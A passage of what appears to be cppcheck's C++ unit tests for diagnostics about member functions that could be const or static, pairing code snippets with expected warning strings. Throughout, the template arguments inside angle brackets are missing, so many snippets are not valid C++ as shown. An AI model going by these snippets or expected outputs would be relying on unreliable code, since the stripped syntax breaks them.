key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // #11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n 